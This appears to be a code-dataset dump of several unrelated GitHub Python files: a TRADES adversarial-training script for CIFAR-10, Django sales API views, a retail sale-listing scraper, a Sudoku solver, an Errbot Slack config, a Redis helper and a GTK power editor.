\t\n","repo_name":"kinecosystem/kin-app-server","sub_path":"kinappserver/playbooks/dereg_from_elb.py","file_name":"dereg_from_elb.py","file_ext":"py","file_size_in_byte":3732,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"30"} +{"seq_id":"24800353361","text":"from __future__ import print_function\nimport os\nimport argparse\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torchvision\nimport torch.optim as optim\nfrom torchvision import datasets, transforms\n\nfrom models.wideresnet import *\nfrom models.resnet import *\nfrom trades import *\nfrom dataset import *\nimport time\nimport math\nimport pickle\n\nparser = argparse.ArgumentParser(description='PyTorch CIFAR TRADES Adversarial Training')\nparser.add_argument('--oat', action='store_true',\n help='apply OAT')\nparser.add_argument('--batch-size', type=int, default=64, metavar='N',\n help='input batch size for training')\nparser.add_argument('--test-batch-size', type=int, default=128, metavar='N',\n help='input batch size for testing (default: 128)')\nparser.add_argument('--epochs', type=int, default=100, metavar='N',\n help='number of epochs to train')\nparser.add_argument('--weight-decay', '--wd', default=2e-4,\n type=float, metavar='W')\nparser.add_argument('--lr', type=float, default=0.1, metavar='LR',\n help='learning rate')\nparser.add_argument('--momentum', type=float, default=0.9, metavar='M',\n help='SGD momentum')\nparser.add_argument('--no-cuda', action='store_true',\n help='disables CUDA training')\nparser.add_argument('--epsilon', default=0.031,\n help='perturbation')\nparser.add_argument('--num-steps', default=10,\n help='perturb number of steps')\nparser.add_argument('--step-size', default=0.007,\n help='perturb step size')\nparser.add_argument('--beta', default=6.0,\n help='regularization, i.e., 1/lambda in TRADES')\nparser.add_argument('--seed', type=int, default=1, metavar='S',\n help='random seed (default: 1)')\nparser.add_argument('--log-interval', type=int, default=100, metavar='N',\n help='how many batches to wait before logging training status')\nparser.add_argument('--model-dir', type=str,\n help='directory of model for saving checkpoint')\nparser.add_argument('--save-freq', '-s', default=1, type=int, metavar='N',\n help='save frequency')\nparser.add_argument('--aug-dataset-dir', default='../DATA/ti_1M_lowconfidence_unlabeled.pickle', help='OOD dataset path')\nparser.add_argument('--load-model-dir', default=None,\n help='directory of model for loading checkpoint')\nparser.add_argument('--load-epoch', type=int, default=0, metavar='N',\n help='load epoch')\n\nargs = parser.parse_args()\n\nprint(args)\n\n# settings\nmodel_dir = args.model_dir\nif not os.path.exists(model_dir):\n os.makedirs(model_dir)\nuse_cuda = not args.no_cuda and torch.cuda.is_available()\ntorch.manual_seed(args.seed)\ndevice = torch.device(\"cuda\" if use_cuda else \"cpu\")\nkwargs = {'num_workers': 1, 'pin_memory': True} if use_cuda else {}\n\n# setup data loader\ntransform_train = transforms.Compose([\n transforms.RandomCrop(32, padding=4),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n])\ntransform_test = transforms.Compose([\n transforms.ToTensor(),\n])\n\nBS = args.batch_size\nEPS = args.epochs\nif args.oat:\n BS = BS // 2\n EPS = EPS // 2\n with open(os.path.join(os.getcwd(), args.aug_dataset_dir), 'rb') as f:\n aug_file = pickle.load(f)\n trainset_aug_file = aug_file['data']\n print('dataset size : ', trainset_aug_file.shape)\n trainset_aug = TinyImageNet(trainset_aug_file, transform_train)\n train_loader_aug = torch.utils.data.DataLoader(trainset_aug, batch_size=BS, shuffle=True, **kwargs)\n\ntrainset = torchvision.datasets.CIFAR10(root='../DATA', train=True, download=True, transform=transform_train)\ntrain_loader = torch.utils.data.DataLoader(trainset, batch_size=BS, shuffle=True, **kwargs)\ntestset = torchvision.datasets.CIFAR10(root='../DATA', train=False, download=True, transform=transform_test)\ntest_loader = torch.utils.data.DataLoader(testset, batch_size=args.test_batch_size, shuffle=False, **kwargs)\n\ndef train(args, model, device, train_loader, optimizer, epoch):\n model.train()\n for batch_idx, (data, target) in enumerate(train_loader):\n data, target = data.to(device), target.to(device)\n target = one_hot_tensor(target, 10)\n\n optimizer.zero_grad()\n\n # calculate robust loss\n loss = trades_loss(model=model,\n x_natural=data,\n y=target,\n optimizer=optimizer,\n step_size=args.step_size,\n epsilon=args.epsilon,\n perturb_steps=args.num_steps,\n beta=args.beta\n )\n loss.backward()\n optimizer.step()\n\n # print progress\n if batch_idx % args.log_interval == 0:\n print('Train Epoch: {} [{}/{} ({:.0f}%)]\\tLoss: {:.6f}'.format(\n epoch, batch_idx * len(data), len(train_loader.dataset),\n 100. * batch_idx / len(train_loader), loss.item()))\n\ndef train_oat(args, model, device, train_loader, train_loader_aug, aug_iterator, optimizer, epoch):\n model.train()\n for batch_idx, (data, target) in enumerate(train_loader):\n try:\n data_aug = next(aug_iterator)\n except StopIteration:\n aug_iterator = iter(train_loader_aug)\n data_aug = next(aug_iterator)\n target, target_aug = one_hot_tensor(target, 10), torch.ones(BS, 10)*0.1\n data, target = torch.cat((data.cuda(), data_aug.cuda()), dim=0), torch.cat((target.cuda(), target_aug.cuda()), dim=0)\n data, target = data.to(device), target.to(device)\n\n optimizer.zero_grad()\n\n # calculate robust loss\n loss = trades_loss(model=model,\n x_natural=data,\n y=target,\n optimizer=optimizer,\n step_size=args.step_size,\n epsilon=args.epsilon,\n perturb_steps=args.num_steps,\n beta=args.beta\n )\n loss.backward()\n optimizer.step()\n\n # print progress\n if batch_idx % args.log_interval == 0:\n print('Train Epoch: {} [{}/{} ({:.0f}%)]\\tLoss: {:.6f}'.format(\n epoch, batch_idx * len(data), len(train_loader.dataset),\n 100. * batch_idx / len(train_loader), loss.item()))\n return aug_iterator\n\n\ndef eval_train(model, device, train_loader):\n model.eval()\n train_loss = 0\n correct = 0\n with torch.no_grad():\n for data, target in train_loader:\n data, target = data.to(device), target.to(device)\n output = model(data)\n train_loss += F.cross_entropy(output, target, size_average=False).item()\n pred = output.max(1, keepdim=True)[1]\n correct += pred.eq(target.view_as(pred)).sum().item()\n train_loss /= len(train_loader.dataset)\n print('Training: Average loss: {:.4f}, Accuracy: {}/{} ({:.0f}%)'.format(\n train_loss, correct, len(train_loader.dataset),\n 100. * correct / len(train_loader.dataset)))\n training_accuracy = correct / len(train_loader.dataset)\n return train_loss, training_accuracy\n\n\ndef eval_test(model, device, test_loader):\n model.eval()\n test_loss = 0\n correct = 0\n with torch.no_grad():\n for data, target in test_loader:\n data, target = data.to(device), target.to(device)\n output = model(data)\n test_loss += F.cross_entropy(output, target, size_average=False).item()\n pred = output.max(1, keepdim=True)[1]\n correct += pred.eq(target.view_as(pred)).sum().item()\n test_loss /= len(test_loader.dataset)\n print('Test: Average loss: {:.4f}, Accuracy: {}/{} ({:.0f}%)'.format(\n test_loss, correct, len(test_loader.dataset),\n 100. * correct / len(test_loader.dataset)))\n test_accuracy = correct / len(test_loader.dataset)\n return test_loss, test_accuracy\n\ndef eval_adv_test(model, device, test_loader):\n model.eval()\n test_loss = 0\n correct = 0\n with torch.no_grad():\n for data, target in test_loader:\n data, target = data.to(device), target.to(device)\n output = model(data)\n test_loss += F.cross_entropy(output, target, size_average=False).item()\n pred = output.max(1, keepdim=True)[1]\n correct += pred.eq(target.view_as(pred)).sum().item()\n test_loss /= len(test_loader.dataset)\n print('Test: Average loss: {:.4f}, Accuracy: {}/{} ({:.0f}%)'.format(\n test_loss, correct, len(test_loader.dataset),\n 100. * correct / len(test_loader.dataset)))\n test_accuracy = correct / len(test_loader.dataset)\n return test_loss, test_accuracy\n\n\ndef adjust_learning_rate(optimizer, epoch):\n \"\"\"decrease the learning rate\"\"\"\n lr = args.lr\n if epoch >= int(EPS * 0.75):\n lr = args.lr * 0.1\n if epoch >= int(EPS) * 0.9:\n lr = args.lr * 0.01\n for param_group in optimizer.param_groups:\n param_group['lr'] = lr\n\n\ndef main():\n # init model, ResNet18() can be also used here for training\n model = WideResNet().to(device)\n optimizer = optim.SGD(model.parameters(), lr=args.lr, momentum=args.momentum, weight_decay=args.weight_decay)\n if args.load_epoch != 0:\n print('resuming ... ', args.load_model_dir)\n f_path = os.path.join(args.load_model_dir)\n checkpoint = torch.load(f_path)\n model.load_state_dict(checkpoint)\n eval_test(model, device, test_loader)\n\n init_time = time.time()\n\n if args.oat:\n aug_iterator = iter(train_loader_aug)\n\n for epoch in range(args.load_epoch + 1, EPS + 1):\n # adjust learning rate for SGD\n adjust_learning_rate(optimizer, epoch)\n\n # adversarial training\n elapsed_time = time.time() - init_time\n print('elapsed time : %d h %d m %d s' % (elapsed_time / 3600, (elapsed_time % 3600) / 60, (elapsed_time % 60)))\n if args.oat:\n aug_iterator = train_oat(args, model, device, train_loader, train_loader_aug, aug_iterator, optimizer, epoch)\n else:\n train(args, model, device, train_loader, optimizer, epoch)\n\n # save checkpoint\n if (epoch % args.save_freq == 0) and (epoch >= int(EPS * 0.75)):\n # evaluation on natural examples\n print('================================================================')\n eval_test(model, device, test_loader)\n print('================================================================')\n torch.save(model.state_dict(),\n os.path.join(model_dir, 'model-wideres-epoch{}.pt'.format(epoch)))\n torch.save(model.state_dict(),\n os.path.join(model_dir, 'model-wideres-latest.pt'.format(epoch)))\n\nif __name__ == '__main__':\n main()\n","repo_name":"Saehyung-Lee/OAT","sub_path":"TRADES/train_trades_cifar10.py","file_name":"train_trades_cifar10.py","file_ext":"py","file_size_in_byte":11066,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"30"} +{"seq_id":"30664392120","text":"import json, requests\nfrom common.json import ModelEncoder\nfrom django.http import JsonResponse\nfrom django.views.decorators.http import require_http_methods\nfrom .models import Salesperson, Customer, Sale, AutomobileVO\nfrom .encoders import (\n CustomerEncoder,\n SaleEncoder,\n SalespersonEncoder,\n AutomobileVOEncoder\n)\n\n\n@require_http_methods([\"GET\", \"POST\"])\ndef salesperson_list(request):\n if request.method == \"GET\":\n salesPerson = Salesperson.objects.all()\n return JsonResponse(\n {\"salespeople\": salesPerson},\n encoder=SalespersonEncoder,\n safe=False,\n )\n else:\n content = json.loads(request.body)\n salesPerson = Salesperson.objects.create(**content)\n return JsonResponse(\n salesPerson,\n encoder=SalespersonEncoder,\n safe=False,\n )\n\n\n@require_http_methods([\"GET\", \"DELETE\"])\ndef salesperson_detail(request, id):\n if request.method == \"GET\":\n try:\n person = Salesperson.objects.get(id=id)\n return JsonResponse(\n person,\n encoder=SalespersonEncoder,\n safe=False\n )\n except Salesperson.DoesNotExist:\n response = JsonResponse({\"message\": \"Does not exist\"})\n response.status_code = 404\n return response\n else:\n try:\n person = Salesperson.objects.get(id=id)\n person.delete()\n return JsonResponse(\n person,\n encoder=SalespersonEncoder,\n safe=False,\n )\n except Salesperson.DoesNotExist:\n return JsonResponse({\"message\": \"Does not exist\"})\n\n\n@require_http_methods([\"GET\", \"POST\"])\ndef customer_list(request):\n if request.method == \"GET\":\n customer = Customer.objects.all()\n return JsonResponse(\n {\"customers\": customer},\n encoder=CustomerEncoder,\n safe=False,\n )\n else:\n content = json.loads(request.body)\n customer = Customer.objects.create(**content)\n return JsonResponse(\n customer,\n encoder=CustomerEncoder,\n safe=False,\n )\n\n\n@require_http_methods([\"DELETE\"])\ndef customer_detail(request, id):\n if request.method == \"DELETE\":\n try:\n customer = Customer.objects.get(id=id)\n customer.delete()\n return JsonResponse(\n customer,\n encoder=CustomerEncoder,\n safe=False,\n )\n except Customer.DoesNotExist:\n return JsonResponse({\"message\": \"Does not exist\"}, status=404)\n\n\n@require_http_methods([\"GET\", \"POST\"])\ndef sales_list(request):\n if request.method == \"GET\":\n salesperson_id = request.GET.get(\"salesperson\")\n if salesperson_id:\n sales = Sale.objects.filter(salesperson__id=salesperson_id)\n else:\n sales = Sale.objects.all()\n for sale in sales:\n sale.price = float(sale.price)\n return JsonResponse(\n {\"sales\": sales},\n encoder=SaleEncoder,\n safe=False,\n )\n else:\n content = json.loads(request.body)\n\n salesperson_id = content[\"salesperson\"]\n customer_id = content[\"customer\"]\n try:\n salesperson_instance = Salesperson.objects.get(id=salesperson_id)\n content[\"salesperson\"] = salesperson_instance\n except Salesperson.DoesNotExist:\n return JsonResponse(\n {\"message\": \"Invalid sales person ID\"},\n status=400,\n )\n try:\n customer_instance = Customer.objects.get(id=customer_id)\n content[\"customer\"] = customer_instance\n except Customer.DoesNotExist:\n return JsonResponse(\n {\"message\": \"Invalid customer\"},\n status=400,\n )\n try:\n autos_detail = content[\"automobile\"]\n automobile = AutomobileVO.objects.get(vin=autos_detail)\n automobile.sold = True\n automobile.save()\n\n inventory_url = (\n f\"http://project-beta-inventory-api-1:8000/api/automobiles/{autos_detail}/\"\n )\n inventory_data = {\"sold\": True}\n inventory_response = requests.put(\n inventory_url,\n json=inventory_data\n )\n\n if not inventory_response.ok:\n return JsonResponse(\n {\"message\": \"Could not update inventory\"},\n status=500,\n )\n\n content[\"automobile\"] = automobile\n except AutomobileVO.DoesNotExist:\n return JsonResponse(\n {\"message\": \"Invalid vin\"},\n status=400,\n )\n sales = Sale.objects.create(**content)\n return JsonResponse(\n sales,\n encoder=SaleEncoder,\n safe=False,\n )\n\n\n@require_http_methods([\"DELETE\"])\ndef sales_detail(request, id):\n if request.method == \"DELETE\":\n try:\n sale = Sale.objects.get(id=id)\n sale.delete()\n return JsonResponse(\n {\"message\": \"deleted\"},\n safe=False,\n status=200,\n )\n except Sale.DoesNotExist:\n return JsonResponse({\"message\": \"Does not exist\"}, status=404)\n","repo_name":"marahman6/Ride-Ready","sub_path":"sales/api/sales_rest/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"33788227250","text":"'''Scrapes on sale listings from Dicks Sporting Goods website'''\n\nfrom bs4 import BeautifulSoup\nimport csv\nfrom selenium import webdriver\nimport threading\nfrom webdriver_manager.chrome import ChromeDriverManager\n\nimport urls\n\n# generate csv file of all listings given a category and product\ndef RunScraper(url_list, url_names, index):\n # initiate driver\n driver = webdriver.Chrome(ChromeDriverManager().install())\n\n driver.get(url_list[index])\n html = driver.page_source\n\n soup = BeautifulSoup(html, 'html.parser')\n num_listings = soup.find_all('span', {'class': 'rs-page-count-label'})[1]\n num_listings = num_listings.text.split(\" \")[0]\n\n split_name = url_names[index].split(\"_\")\n listings = soup.find_all('div', {'class': 'dsg-flex flex-column dsg-react-product-card rs_product_card dsg-react-product-card-col-4'})\n items = []\n for listing in listings:\n unlisted = listing.find('p', {'class': 'unlisted-price'})\n was_price = listing.find('p', {'class': 'was-price'})\n if unlisted == None and was_price != None:\n original = was_price.text.replace(\" \", \"\").replace(\"$\", \"\")\n original = original.replace(\"WAS:\", \"\").replace(\"*\", \"\").split(\"-\")\n if len(original) == 2:\n full_price = (float(original[0]) + float(original[1]))/2\n else:\n full_price = float(original[0])\n\n new = listing.find('p', {'class': 'offer-price'}).text\n new = new.replace(\" \", \"\").replace(\"$\", \"\").split(\"-\")\n if len(new) == 2:\n sale_price = (float(new[0]) + float(new[1]))/2\n else:\n sale_price = float(new[0])\n\n product = {\n 'brand': \"Dick's Sporting Goods\",\n 'category': str(split_name[0]),\n 'product': str(split_name[1]),\n 'fullPrice': float(full_price),\n 'salePrice': float(sale_price),\n 'salePercentOff': float((full_price - sale_price)/full_price),\n 'numListings': int(num_listings)\n }\n items.append(product)\n\n fields = ['brand', 'category', 'product', 'fullPrice', 'salePrice',\n 'salePercentOff', 'numListings']\n with open(f'{url_names[index]}.csv', 'w') as csvfile:\n writer = csv.DictWriter(csvfile, fieldnames = fields)\n writer.writeheader()\n writer.writerows(items)\n\n driver.quit()\n\n# generate csv file for all products from every category\ndef RunScript():\n for i in range(len(urls.catalog_list_urls)):\n threads = []\n for j in range(len(urls.catalog_list_urls[i])):\n browser_thread = threading.Thread(target=RunScraper, args=(urls.catalog_list_urls[i], urls.catalog_list_url_names[i], j))\n browser_thread.start()\n threads.append(browser_thread)\n\n for thread in threads:\n thread.join()\n\n print(\"Category Finished!\")\n print(\"Everything is Finished!\")\n\n","repo_name":"kierengill/JSC","sub_path":"dicks-sporting-goods/retrieve.py","file_name":"retrieve.py","file_ext":"py","file_size_in_byte":2996,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"33852300269","text":"# Sudoku Try 3\n\nimport numpy as np\nimport pickle\nnp.random.seed(1)\n\ndef read(num):\n with open(f'SBoard{num}.sav', 'rb') as file:\n g = pickle.load(file)\n return g\n\n\nclass Cell:\n def __init__(self, num=0):\n if num != 0:\n self.num = num\n self.poss = [num]\n else:\n self.num = num\n self.poss = [i for i in range(1, 10)]\n\n def __add__(self, num):\n if num not in self.poss:\n raise TypeError\n if self.num == 0:\n self.num = num\n self.poss = [num]\n else:\n if self.num != num:\n print(self.num, num)\n raise ZeroDivisionError\n\n def __sub__(self, num):\n if self.num != 0:\n pass\n else:\n if num in self.poss:\n self.poss.remove(num)\n\n def set_row(self, r):\n self.r = r\n\n def set_col(self, c):\n self.c = c\n\n def set_box(self, b):\n self.b = b\n\n\ntest = None\n\n\nclass Grid:\n def __init__(self, arr):\n self.grid = []\n for row in arr:\n cell_row = []\n for k in row:\n cell_row.append(Cell(k))\n self.grid.append(cell_row)\n self.grid = np.array(self.grid)\n self.boxes = {k:[] for k in range(9)}\n for i in range(9):\n for j in range(9):\n bn = 3 * (i // 3) + j // 3\n self.boxes[bn].append(self.grid[i, j])\n self.grid[i, j].set_box(bn)\n self.grid[i, j].set_row(i)\n self.grid[i, j].set_col(j)\n\n\n\n def __repr__(self):\n out = \"\\n\\n\"\n for i in range(9):\n rowS = \" \"\n for j in range(9):\n if j != 0:\n rowS += \" | \"\n n = self.grid[i,j].num\n if n != 0:\n rowS += f\"{n}\"\n else:\n rowS += \" \"\n if i != 0:\n out += \" -----------------------------------\\n\"\n out += rowS + \"\\n\"\n return out + \"\\n\\n\"\n\n def check_rows(self):\n for row in self.grid:\n for cell in row:\n if cell.num != 0:\n for cell2 in row:\n cell2 - cell.num\n\n def check_cols(self):\n for col in self.grid.T:\n for cell in col:\n if cell.num != 0:\n for cell2 in col:\n cell2 - cell.num\n\n def check_boxes(self):\n for k in self.boxes.keys():\n box = self.boxes[k]\n for cell in box:\n if cell.num != 0:\n for cell2 in box:\n cell2 - cell.num\n\n def check_box_doubles(self):\n for k in self.boxes.keys():\n box = self.boxes[k]\n for p in range(1, 10):\n v_rows = list(set([cell1.r for cell1 in box if p in cell1.poss]))\n v_cols = list(set([cell1.c for cell1 in box if p in cell1.poss]))\n if len(v_rows) == 1:\n for cell in self.grid[v_rows[0]]:\n if cell not in box:\n cell - p\n if len(v_cols) == 1:\n for cell in self.grid[: , v_cols[0]]:\n if cell not in box:\n cell - p\n\n\n\n\n def set_singles(self):\n for i in range(9):\n for j in range(9):\n if len(self.grid[i,j].poss) == 1 and self.grid[i, j].num == 0:\n try:\n self.grid[i, j] + self.grid[i, j].poss[0]\n except TypeError:\n print(i, j, self.grid[i, j].poss[0])\n raise TypeError\n\n def check_all(self):\n self.check_rows()\n self.check_cols()\n self.check_boxes()\n self.check_box_doubles()\n\n def step(self):\n self.check_all()\n self.set_singles()\n\n\n def is_solved(self):\n for cell in self.grid.flatten():\n if cell.num == 0:\n return False\n return True\n\n def is_real(self):\n self.check_all()\n for cell in self.grid.flatten():\n if len(cell.poss) == 0:\n return False\n for row in self.grid:\n st1 = [cell.num for cell in row if cell.num != 0]\n if len(set(st1)) != len(st1):\n return False\n for row in self.grid.T:\n st1 = [cell.num for cell in row if cell.num != 0]\n if len(set(st1)) != len(st1):\n return False\n for k in self.boxes.keys():\n row = self.boxes[k]\n st1 = [cell.num for cell in row if cell.num != 0]\n if len(set(st1)) != len(st1):\n return False\n return True\n\n def solve(self, verbose=True):\n sc = 0\n while sc < 50 and not self.is_solved():\n if verbose:\n print(self)\n sc += 1\n self.step()\n if verbose:\n print(self)\n\n def make_arr(self):\n return np.array([c.num for c in self.grid.flatten()]).reshape((9,9))\n\n def gsolve(self):\n self.solve(verbose=False)\n if self.is_real() and self.is_solved():\n G.grid = self.grid\n return True\n if not self.is_real():\n return False\n else:\n G2 = Grid(self.make_arr())\n G2.solve(verbose=False)\n if G2.is_solved():\n # print('this1')\n return G2.gsolve()\n lpos = np.min([len(c.poss) for c in G2.grid.flatten() if len(c.poss) >= 2])\n change_cells = [c for c in G2.grid.flatten() if len(c.poss) == lpos and c.num == 0]\n if len(change_cells) == 0:\n # print('this3')\n return False\n cc = change_cells[0]\n debug = (cc.r, cc.c, cc.num, cc.poss)\n cc + cc.poss[0]\n res = G2.gsolve()\n if res == False:\n self.grid[cc.r, cc.c] - cc.poss[0]\n return self.gsolve()\n else:\n # print('this2')\n return res\n\n\n\nsolved = 0\nfor num in range(50):\n g = read(num)\n G = Grid(g)\n G.solve(verbose=False)\n G.gsolve()\n if G.is_solved() and G.is_real():\n print(G)\n solved += 1\n\nprint(f\"{solved} out of 50\")\n\n","repo_name":"geordieduncan/Sudoku","sub_path":"S3.py","file_name":"S3.py","file_ext":"py","file_size_in_byte":6421,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"23033884325","text":"import os\nimport logging\nimport pathlib\n\n# This is a minimal configuration to get you started with the Text mode.\n# If you want to connect Errbot to chat services, checkout\n# the options in the more complete config-template.py from here:\n# https://raw.githubusercontent.com/errbotio/errbot/master/errbot/config-template.py\n\nBACKEND = (\n \"Slack\"\n) # Errbot will start in text mode (console only mode) and will answer commands from there.\n\nROOT_DIR = pathlib.Path(__file__).parent\nBOT_DATA_DIR = ROOT_DIR / \"data\" # get config.py's dir\nBOT_EXTRA_PLUGIN_DIR = ROOT_DIR / \"plugins\"\n\nBOT_LOG_FILE = ROOT_DIR / \"error.log\"\nBOT_LOG_LEVEL = logging.INFO\n\nBOT_IDENTITY = {\"token\": os.getenv(\"SLACK_TOKEN\")}\n\nBOT_ADMINS = (\"@aron\",)\nBOT_ALT_PREFIXES = (\"@aronbot\",)\n","repo_name":"aronasorman/aronbot","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":761,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"17831574796","text":"import redis\nimport sys\nimport os\nsys.path.append(os.path.dirname(sys.path[0]))\n\nfrom common.config.config import Config\nfrom common.Log import MyLog\n\n\n\nclass RedisHelper:\n def __init__(self):\n self.conn = RedisHelper.getredisconn(Config.get_value(\"redis\", 'test_host'),\n int(Config.get_value(\"redis\", 'test_port')),\n Config.get_value(\"redis\", 'test_pwd'),\n int(Config.get_value(\"redis\", 'test_db')))\n self.pipe = self.conn.pipeline(transaction=True)\n\n @staticmethod\n def getredisconn(test_host,test_port,test_pwd,test_db):\n __redis_pool = redis.ConnectionPool(host = test_host,\n port = test_port,\n password = test_pwd,\n db = test_db,\n decode_responses = True)\n\n __redis_conn = redis.Redis(connection_pool=__redis_pool)\n return __redis_conn\n\n #获取多个key的值,传键:r.get('manager:service:num','oms:orderId20220711')\n def mget(self,*args):\n\n if len(args) == 0:\n MyLog.info('查询的key为空')\n else:\n MyLog.info('批量查询的key:{}'.format(args))\n self.pipe.mget(args)\n result = self.pipe.execute()\n MyLog.info('批量查询的结果为:{}'.format(result))\n\n #设置多个键值,传键值的字典:\n # name_dict = {\n # 'test:4': 'Zarten_4',\n # 'test:5': 'Zarten_5'\n # }\n def mset(self,keyvalue_dict):\n\n if len(keyvalue_dict) == 0:\n MyLog.info('查询的key为空')\n else:\n key_list = []\n value_list = []\n for key,value in keyvalue_dict.items():\n key_list.append(key)\n value_list.append(value)\n MyLog.info('设置的key:{}'.format(key_list))\n MyLog.info('设置的value:{}'.format(value_list))\n self.pipe.mset(keyvalue_dict)\n result = self.pipe.execute()\n MyLog.info('设置结果:{}'.format(result))\n\n #给已有的键设置新值,并返回原有的值,传键值:r.getset('test:4','123')\n def getset(self,*args):\n\n if len(args) == 0:\n MyLog.info('设置的key_value为空')\n else:\n MyLog.info('设置的key_value:{}'.format(args))\n self.pipe.getset(args[0],args[1])\n result = self.pipe.execute()\n MyLog.info('原key:{}的值为:{}'.format(args[0],result))\n\n\n #删除键值,传键:r.delete('test:4','test:5')\n def delete(self,*args):\n\n if len(args) == 0:\n MyLog.info('查询的key为空')\n elif len(args) == 1:\n MyLog.info('删除的key:{}'.format(args[0]))\n self.pipe.delete(args[0])\n result = self.pipe.execute()\n MyLog.info('删除的结果为:{}'.format(result))\n else:\n for key in args:\n self.pipe.delete(key)\n MyLog.info('批量删除的key:{}'.format(args))\n result = self.pipe.execute()\n MyLog.info('批量删除的结果为:{}'.format(result))\n\n\n\nif __name__ == '__main__':\n pass\n #r = RedisHelper()\n #r.get('manager:service:num','oms:orderId20220711')\n #r.getset('test:4','123')\n #r.delete('test:4')\n\n","repo_name":"yhy-456/yhy-456","sub_path":"common/RedisHelper.py","file_name":"RedisHelper.py","file_ext":"py","file_size_in_byte":3485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"38356387783","text":"from gi.repository import Gtk\nfrom EditPower import EditPower\nfrom copy import copy\nfrom functions import *\nimport databaseFunctions\n\nclass CreatePower:\n def __init__(self, databaseWindow):\n self.editPower = databaseWindow.handlePower\n self.databaseWindow = databaseWindow\n self.power = Power()\n self.store = Gtk.ListStore(str, str)\n\n self.window = None\n\n def addPower(self, widget):\n if not entryExist(self.store, self.typeWidget.get_active_text(), 0):\n v = [self.typeWidget.get_active_text(),\\\n self.valueWidget.get_text()]\n self.store.append(v)\n databaseFunctions.addDatabaseEntry(self.databaseWindow.database, \"EQUIPMENT_CAPACITY\", [v])\n\n def deletePower(self, widget):\n selection = self.tree.get_selection()\n if selection == None:\n return\n\n model, paths = selection.get_selected_rows()\n\n for path in paths[::-1]:\n i = self.store.get_iter(path)\n self.store.remove(i)\n\n def editRenderer(self, renderer, path, text, value):\n model = self.store\n iterModel = model.get_iter(path)\n text=None\n\n if value == \"Value\":\n text = self.getValue(model[iterModel][0], text)\n model[iterModel][1] = text\n elif value == \"Type\":\n model[iterModel][0] = text\n \n databaseFunctions.setDatabaseEntry(self.databaseWindow.database, value, text)\n\n def applyPower(self, widget):\n copyStore(self.store, self.power.store)\n\n def getValue(self, name, value):\n t = None\n\n iterPower = self.editPower.store.get_iter_first()\n while iterFirst != None:\n if name == self.editPower.store[iterPower][0]:\n t = self.editPower.store[iterPower][2]\n break\n\n if t == \"Float\":\n try:\n value = str(float(value))\n except ValueError:\n value = \"0.0\"\n\n elif t == \"Int\":\n try:\n value = str(int(float(value)))\n except ValueError:\n value = \"0\"\n\n elif t == \"Bool\":\n try:\n value = str(int(int(value) != 0))\n except ValueError:\n value = \"0\"\n\n return value\n\n def run(self):\n typeRenderer = Gtk.CellRendererCombo()\n typeRenderer.set_property(\"model\", self.editPower.store)\n typeRenderer.set_property(\"text-column\", 0)\n typeRenderer.set_property(\"editable\", True)\n typeRenderer.connect(\"edited\", self.editRenderer, \"Type\")\n\n typeColumn = Gtk.TreeViewColumn(\"Power\", typeRenderer, text=0);\n typeColumn.set_resizable(True)\n typeColumn.set_expand(True)\n\n valueRenderer = Gtk.CellRendererText()\n valueRenderer.set_property(\"editable\", True)\n valueRenderer.connect(\"edited\", self.editRenderer, \"Value\")\n valueColumn = Gtk.TreeViewColumn(\"Value\", valueRenderer, text=1);\n valueColumn.set_resizable(True)\n valueColumn.set_expand(True)\n\n self.tree = Gtk.TreeView(model = self.store)\n self.tree.append_column(typeColumn)\n self.tree.append_column(valueColumn)\n\n windowBox = Gtk.Box(orientation=Gtk.Orientation.HORIZONTAL)\n menuBox = Gtk.Box(orientation=Gtk.Orientation.VERTICAL)\n grid = Gtk.Grid(orientation=Gtk.Orientation.VERTICAL)\n\n typeLabel = Gtk.Label(\"Type\")\n self.valueLabel = Gtk.Label(\"Value\")\n\n self.typeWidget = Gtk.ComboBoxText.new()\n self.typeWidget.set_model(self.editPower.store)\n\n self.valueWidget = Gtk.Entry()\n\n grid.attach(typeLabel, 0, 0, 1, 1)\n grid.attach_next_to(self.typeWidget, typeLabel, Gtk.PositionType.RIGHT, 1, 1)\n grid.attach_next_to(self.valueLabel, typeLabel, Gtk.PositionType.BOTTOM, 1, 1)\n grid.attach_next_to(self.valueWidget, self.valueLabel, Gtk.PositionType.RIGHT, 1, 1)\n\n buttonBox = Gtk.Box(orientation=Gtk.Orientation.HORIZONTAL)\n\n addButton = Gtk.Button(\"Add\")\n applyButton = Gtk.Button(\"Apply\")\n deleteButton = Gtk.Button(\"Delete\")\n cancelButton = Gtk.Button(\"Cancel\")\n\n addButton.connect(\"clicked\", self.addPower)\n applyButton.connect(\"clicked\", self.applyPower)\n deleteButton.connect(\"clicked\", self.deletePower)\n cancelButton.connect(\"clicked\", self.destroy)\n\n buttonBox.pack_start(addButton, False, False, 0)\n buttonBox.pack_start(deleteButton, False, False, 0)\n buttonBox.pack_start(applyButton, False, False, 0)\n buttonBox.pack_start(cancelButton, False, False, 0)\n\n buttonBox.set_halign(Gtk.Align.END)\n buttonBox.set_valign(Gtk.Align.END)\n\n menuBox.pack_start(grid, False, False, 0)\n menuBox.pack_start(buttonBox, False, False, 0)\n\n windowBox.pack_start(self.tree, True, True, 0)\n windowBox.pack_start(menuBox, False, False, 0)\n\n self.window = Gtk.Window(title=\"Power editor\")\n self.window.add(windowBox)\n self.window.connect(\"destroy\", self.destroy)\n self.window.show_all()\n self.window.set_modal(True)\n\n def destroy(self, window):\n self.window.destroy()\n copyStore(self.power.store, self.store)\n\nclass Power:\n def __init__(self):\n self.store = Gtk.ListStore(str, str)\n","repo_name":"MickaelSERENO/RPG_DBManager","sub_path":"CreatePower.py","file_name":"CreatePower.py","file_ext":"py","file_size_in_byte":5359,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} 